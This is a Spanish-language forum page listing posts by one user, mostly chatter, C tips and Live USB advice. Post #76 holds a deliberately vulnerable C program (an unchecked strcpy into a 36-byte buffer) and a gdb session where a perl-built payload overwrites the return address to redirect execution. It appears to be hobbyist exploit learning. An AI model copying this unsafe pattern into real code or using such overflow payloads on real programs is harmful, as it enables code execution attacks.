Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Sagrini

#71
Mmm... Ok. Voy a llevarme el ordenador al gimnasio jajajaja
#72
y si le tienes que dejar el coche a un amigo? :O
#73
FILE *fp = fopen (), fclose (), fgetc (), fread (), fwrite (), fprintf (), fscanf (), lseek (), feof ()....
int fp = open (), close (), write (), read (), lseek ()...
#74
GNU/Linux / Re: ASUS X101 / MeeGo / AYUDA!!!
2 Enero 2012, 22:15 PM
Formatear con el sistema abierto es una paradoja muy grande jajaja Es borrar lo que estás haciendo ahora, es como comerte tu línea.
Lo que tienes que hacer es buscarte un CD de instalación de Windows. Te da la opción de formatear, editar particiones, etc... Y si no, prueba desde un Live USB/CD.
#75
Busca sobre los Live USB y el modo "persistence" o algo así. Linux Live USB Creator (LiLi) trae una opción para eso ;)
#76

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


sagrini@pc11-1:~/Escritorio$ nano code.c
sagrini@pc11-1:~/Escritorio$ gcc -o code code.c --no-stack-protector
sagrini@pc11-1:~/Escritorio$ gdb -q code
(gdb) r $(perl -e 'print "A"x36 . "BBBB"x3')
Program received signal SIGSEGV, Segmentation fault.
0x08048408 in __do_global_dtors_aux ()
(gdb)
(gdb) x/x feo
0x8048489 <feo>: 0x83e58955
(gdb) x/x feo
0x8048489 <feo>: 0x83e58955
(gdb) r $(perl -e 'print "\x90"x36 . "\x89\x84\x04\x08"x5')
Eres feo!!!
(gdb) quit
sagrini@pc11-1:~/Escritorio$


Ahora modifico para que funcione con una shellcode ;)
#77
Cita de: Sagrini en 27 Diciembre 2011, 13:03 PM
Por cierto, he "reescrito" la pregunta por completo. Alguna idea? ;)
Un saludo! Sagrini
#78
El tuyo no me gusta :P Tanta llamada a funciones te retrasa mucho. El mío te supera (por milésimas, pero lo hace) en cuestión de tiempo y ciclos ^^
#79
El último NO es más simplificado que los otros, al contrario.
Os dejo el mío ;)

#include <stdio.h>

int main ()
{
int a, b, c; printf ("Escribe tres numeros: "); scanf ("%d %d %d", &a, &b, &c);
if (a<b) a=b; if (a<c) a=c; printf ("El mayor numero ingresado es %d\n\n", a);
getchar (); return 0;
}

#80
Ahora mismo estoy un poco liadillo, te paso una url que tal vez te sirva y en un ratillo me pongo ;)
http://foro.elhacker.net/bugs_y_exploits/first_bof_linux_attack_sagrini_2010_elhackernet_funciona-t317514.0.html